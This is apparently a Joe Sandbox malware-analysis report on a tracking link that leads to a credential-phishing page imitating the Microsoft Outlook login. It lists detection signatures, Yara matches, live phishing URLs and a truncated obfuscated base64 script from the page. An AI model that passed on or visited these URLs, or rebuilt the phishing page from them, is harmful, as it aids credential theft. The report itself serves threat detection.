Edit tour

Windows Analysis Report
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz

Overview

General Information

Sample URL:	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz
Analysis ID:	1432123
Infos:

Detection

HTMLPhisher

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Phishing site detected (based on favicon image match)

Yara detected HtmlPhish54

Yara detected Phisher

Found suspicious QR code URL

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Found iframes

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML page contains obfuscate script src

Invalid T&C link found

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7132 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6788 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2012,i,11760503481777218251,5847804441829392476,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:/// MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=1984,i,6016941186298933392,15706958933032620811,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_134	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

HTML

Source	Rule	Description	Author
1.1.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.2.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Phishing site detected (based on favicon image match)

Source: https://scrdata-doc.cfd	Matcher: Template: microsoft matched with high similarity
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish54

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 2.8.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

Yara detected Phisher

Source: Yara match

File source: dropped/chromecache_134, type: DROPPED

Found suspicious QR code URL

Source: QR Code extractor	URL: http://
Source: QR Code extractor	URL: http://

Phishing site detected (based on image similarity)

Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	Matcher: Found strong image similarity, brand: MICROSOFT
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dh	Matcher: Template: microsoft matched
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	Matcher: Template: microsoft matched
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	Matcher: Template: microsoft matched

Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx

Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: function c(){if(!document.querySelector(".b") || !document.querySelector(".g")){document.head.appendChild(Object.assign(document.createElement("div"),{classList:["b"]}));document.documentElement.style.filter="hue-rotate(4deg)";document.head.appendChild(Ob...

Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJ	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Other important privacy information
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: U.S. State Data Privacy
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Changes to this privacy statement
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Get Help
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Other important privacy information
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: U.S. State Data Privacy
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Changes to this privacy statement
Source: https://6knvejjuzh3.scrdata-doc.cfd/owa/	HTTP Parser: Invalid link: Get Help

HTTP Parser: <input type="password" .../> found

Source: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/	HTTP Parser: No favicon
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==	HTTP Parser: No favicon
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No favicon
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No favicon
Source: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true	HTTP Parser: No favicon
